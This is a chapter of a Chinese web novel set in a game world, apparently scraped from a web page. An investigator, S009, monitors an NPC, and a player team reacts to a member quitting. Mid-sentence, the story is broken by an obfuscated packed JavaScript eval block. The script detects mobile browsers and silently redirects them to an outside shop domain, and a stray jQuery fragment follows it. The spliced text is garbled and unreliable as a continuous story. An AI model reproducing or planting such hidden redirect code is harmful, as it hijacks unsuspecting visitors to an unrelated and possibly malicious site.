S009已经很多天没有合过眼了。
身为SIU,他不需要一切生理活动。
但作为一个人,他的心理上却无限渴求着一场心无旁骛的睡眠。
E1037的一举一动都处于监控之中,计划也在顺利进行。
他忽地皱皱眉,想起那两个玩家——刁无淮和沙六。
不知是巧合还是什么,他们出现期间,曾短暂地出现了一小段信号丢失。
但调查过后,结果却让他们松了一口气——二位的一切行踪都与遗迹没什么关联,似乎只是单纯地听说有这么一位厉害人物的存在,想要来挑战一下。
在那之后,再度回归了平静,队员每日的汇报工作,也几乎都是一些琐碎小事。
——从他们今天吃了什么,到他们去了哪里。
但直觉告诉他,事情没有这么简单。
S009看着图表上十分稳定的异常值曲线,心里盘算着,是否要下线睡一觉。
虽然也只是冰冷的办公室行军床,但相比这个世界,还是不知要好上多少倍。
想到这里,他心头竟浮现了一丝期待。
但下一秒,幻想就被打破了。
S018略有些稚嫩的声音在他耳旁响起,语气焦急地说:“队长,有新情况。”
“......说。”
“玩家霍文退出了小队。”
S009眉头皱起,“怎么回事?”
“我已经调查过霍文的情况。”语音另一端的人顿了顿,“他似乎还未从上次的意识受损中恢复,在玩家苏沐风的劝说下,决定暂时先以身体为重。”
“就这么简单?”
“我也认为没这么简单,于是去调查了玩家霍文最近几日的动向——两天前,他在离开游戏后,去见了一个人。”
“谁?”
“霍青山的旧友——谢添,他突然出现在了安纳星。”
S009在数据库中搜寻一遍,没有找到有关谢添的相关记录,问:“你查到了什么?”
没有数据,要么代表着毫无威胁,要么......高度机密。
“他们似乎进行了一场会面,对话内容暂时还不清楚,但在会面结束后,霍文就做出了要退出小队的决定......虽然明面上他给出的理由是受伤未愈,需要修养。”
S018如实报告,但他其实还有许多问题想要问,但他知道,就算问了,也不会得到答案。
——有些时候,他也摸不清这个队长心里在想些什么。
S009沉默地消化着这些话中的含义,“我知道了,这件事我会上报,继续保持监控。”
“......收到。”
“等一下——”S009突然又开口,“其他人的态度是什么?”
“凌......E1037这几天情绪不高,似乎也有停一停的想法。”
S018几乎就要将凌星两个字说出口,但他曾不止一次地被提醒——称呼NPC时要用编号。
他不懂这二者之间的区别,难道仅仅只是为了区分NPC与玩家吗?
还是说为了将自己也训练成一个机器人?
他继续报告,“玩家路越和玩家林弦没有表达任何反对或支持的态度。玩家苏沐风早已提前知道。玩家飞云最为惊讶,他们就这件事大吵了一架,不欢而散。”
“那E1100呢?”S009想起那个没有存在感的NPC。
“他暂时还搞不清楚状况,一直在拉着E1037询问缘由。”
“知道了,有问题再报。”
滴——
通话结束。
明明是无比安静的封闭环境,S009却觉得有无数道声音在自己脑海里此起彼伏。
他的手中慢慢浮现出一颗模样奇怪的药丸——这是启明科技专门为特殊调查组配备的。
主要功能是缓解一切游戏中的心理问题,包括但不限于神经衰弱、精神敏感等。
他盯着这颗虚拟药丸,心里猛地生出一股恶心反胃的感觉。
就好像吃药才是那件最让人痛苦的事情。
定定地看了两秒后,他还是将药丸塞入口中,吞了下去。
很快,他就仿佛一个崭新出炉的机器人,毫无感情波动,大脑处理器中只剩下唯一一个念头——执行上级一切命令。
与此同时,奥罗城中,飞云正蹲在一个卖配饰的小摊前。
“小哥?您到底买不买?”
摊主看着出神发呆的客人,有些不耐烦了。
“哦。”他回神,随意捡起其中一个,递给老板,“这个多少钱?我要了。”
“嘿嘿。”摊主脸色变得很快,“500星币,买不了吃亏也买不了上当。”
飞云爽快结账走人。
但脑海中还在不断回想不久前发生的事。
——难怪霍文跟吃错了药似的,原来早就想好要抛弃他们了。
那种被背叛的感觉重新涌上心头。
他不由捏紧了手中的小玩意儿——是一个戴着眼镜的迷你玩偶,可以挂在武器上作为装饰。
飞云这才看清他买了什么。
差点就要气笑。
但想了想,刚举起的手慢慢放下,毕竟,这可是花了他500星币。
——等有机会一定要找霍文要回来这笔钱。
他一边胡思乱想,一边漫无目的地闲逛,还没走出多远,耳边就响起路越略带寒意的声音。
“在哪?我在旅馆等你。”
“哥......”
“知道我是你哥,还不快回来。”
还没等他回应,语音就被切断了。
飞云叹了口气,知道这是他哥生气的表现,转头往来时的方向走去。
进门的时候,路越正双手抱胸坐在大厅的一角,面色不虞。
“哥,怎么就你一个人?”飞云恹恹地坐下。
“他们都已经下线了。”
“哦......那星星呢?”
“我想跟你单独谈谈,所以她和......小白也都去休息了。”
“哦......”飞云没注意到他话语中的停顿,脸皱得像苦瓜,好像下一秒就要哭出来似的,“哥,你说,我们小队不会就这样解散了吧?”
“不会。”路越很快给出答案。
“那少了一个人,还有什么意思?”
“飞云。”路越突然提高音量喊了一声。
飞云抖了一下,吸吸鼻子,委屈巴巴地说,“我就是觉得,你们说的什么朋友、战友都是骗人的,明明说好要一起走到最后的。”
路越微不可闻地叹了一口气,语气放轻,“虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637621|203541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然你妈一直让我照顾你,但我心里从来没把你当成过小孩。我相信你自己也是这么认为。”
“我当然不是小孩......”飞云低声嘟囔。
“上次霍文在遗迹中受伤,你就应该明白,这不是一场简单的游戏,是真的会危及性命的。基于此,你还要对霍文的退出抱有那么大的怨言吗?”
飞云有些心虚垂下视线。
其实他自己也知道没有理由责怪霍文。
但他就是难受,“......对不起。”
“你不用跟我道歉。”
路越停顿了一下,“正好最近流言太离谱,我们决定趁这个机会先休整一段时间,避避风头——我明天会去你的学校找你。”
“啊?为什么?”飞云抬头,不解道。
“到时候你就知道了,记得把时间空出来。”
“......知道了。”
旅馆二楼。
凌星正站在窗前,盯着下面来往的行人,心不在焉。
其实对于现在这个结果,她早已有心理准备。
甚至上次,她还主动提出让他们认真考虑要不要继续。
但不知为什么,她还是感觉心里空落落的。
就好像,又回到了那些时日。
也算是体会到了人类称之为“离别”的愁绪。
笃笃——
清脆的敲门声适时响起。
“进来。”
门自动打开后,路越正站在门外。
她知道对方不会进来。
只好主动走到门口处,靠着门檐,说:“跟飞云聊得怎么样?”
“还算顺利。”
“那......你不下线吗?”
路越摇了摇头,“你这段时间准备怎么办?”
“......没想过。”她故作轻松。
路越没动,只定定地看着她,迟疑着开口:“你......想看看外面是什么样吗?”
她愣了一秒,有什么话到了嘴边,又被她吞了回去。
路越耐心地等待着她的回答。
良久后,他笑了笑,说:“明天我会联系你的,记得看消息。”
说着,他就朝外走去。
“嗯?”凌星反应过来后,很快跟上,“什么意思?”
路越却突然换了一个话题,“你说,我算不算你的老师?”
“应该......算吧。”
自认识以来,路越就时不时会指点她几招。
而上次被偷袭后,这种“教学”就更为频繁了。
“那你怎么不叫我老师?”他侧头,一本正经地看着她。
“额......老——”
她突然反应过来不对劲,“当初可是你主动提出要教我的。”
“所以呢?”路越轻笑出声。
“所以这不算师徒关系,而且你下手的力度,哪像是在老师在教学生。”
闻言,他笑意逐渐收敛,“因为我想让你知道,真正的战斗是没有放水可言的。”
“万一正是某一次的松懈,让你在面临敌人时没有全心投入......”
后面的话,他没再继续说完。
“那我也不会怪你。”凌星却听懂了。
“我知道。”他不再看她,淡淡地说:“但我会怪我自己。”